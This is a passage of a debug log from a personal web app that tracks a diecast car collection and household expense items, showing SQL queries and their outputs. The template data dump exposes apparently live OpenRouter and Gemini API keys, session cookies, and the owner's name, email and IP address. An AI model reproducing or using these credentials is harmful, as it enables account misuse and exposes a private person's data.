  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T13:06:53.359Z server-connect:app Executing action step select
2026-02-03T13:06:53.359Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:06:53.360Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T13:06:57.847Z server-connect:router Serving templateView /diecast
2026-02-03T13:06:57.847Z server-connect:app Executing action step identify
2026-02-03T13:06:57.847Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:57.847Z server-connect:output identity: 1
2026-02-03T13:06:57.847Z server-connect:app Executing action step restrict
2026-02-03T13:06:57.847Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:06:57.848Z server-connect:output restrict: undefined
2026-02-03T13:06:57.848Z server-connect:router Render template layouts/main
2026-02-03T13:06:57.848Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-03T13:06:58.548Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-03T13:06:58.548Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-03T13:06:58.548Z server-connect:app Executing action step identify
2026-02-03T13:06:58.548Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.548Z server-connect:output identity: 1
2026-02-03T13:06:58.548Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.548Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.549Z server-connect:app Executing action step identify
2026-02-03T13:06:58.549Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.549Z server-connect:output identity: 1
2026-02-03T13:06:58.549Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.549Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.549Z server-connect:output restrict: undefined
2026-02-03T13:06:58.549Z server-connect:app Executing action step select
2026-02-03T13:06:58.549Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-03T13:06:58.549Z server-connect:output restrict: undefined
2026-02-03T13:06:58.549Z server-connect:app Executing action step single
2026-02-03T13:06:58.550Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-03T13:06:58.550Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-03T13:06:58.551Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-03T13:06:58.556Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:06:58.556Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:06:58.556Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:06:58.556Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:06:58.556Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T13:06:58.557Z server-connect:app Executing action step identify
2026-02-03T13:06:58.557Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.557Z server-connect:output identity: 1
2026-02-03T13:06:58.557Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.557Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.557Z server-connect:app Executing action step identify
2026-02-03T13:06:58.557Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.557Z server-connect:output identity: 1
2026-02-03T13:06:58.557Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.557Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.557Z server-connect:app Executing action step identify
2026-02-03T13:06:58.557Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.558Z server-connect:output identity: 1
2026-02-03T13:06:58.558Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.558Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.558Z server-connect:app Executing action step identify
2026-02-03T13:06:58.558Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.558Z server-connect:output identity: 1
2026-02-03T13:06:58.558Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.558Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.558Z server-connect:output restrict: undefined
2026-02-03T13:06:58.558Z server-connect:app Executing action step select
2026-02-03T13:06:58.558Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:06:58.559Z server-connect:app Executing action step identify
2026-02-03T13:06:58.559Z server-connect:app options: { provider: 'security' }
2026-02-03T13:06:58.559Z server-connect:output identity: 1
2026-02-03T13:06:58.559Z server-connect:app Executing action step restrict
2026-02-03T13:06:58.559Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:06:58.560Z server-connect:output restrict: undefined
2026-02-03T13:06:58.560Z server-connect:app Executing action step select
2026-02-03T13:06:58.560Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:06:58.560Z server-connect:output restrict: undefined
2026-02-03T13:06:58.560Z server-connect:app Executing action step paged
2026-02-03T13:06:58.560Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:06:58.561Z server-connect:output restrict: undefined
2026-02-03T13:06:58.561Z server-connect:app Executing action step select
2026-02-03T13:06:58.561Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:06:58.562Z server-connect:output restrict: undefined
2026-02-03T13:06:58.562Z server-connect:app Executing action step select
2026-02-03T13:06:58.562Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:06:58.562Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T13:06:58.563Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T13:06:58.564Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'Monte Carlo', id: 187 },
  { name: 'Road Runner', id: 188 },
  { name: 'RAM', id: 189 }
]
2026-02-03T13:06:58.565Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
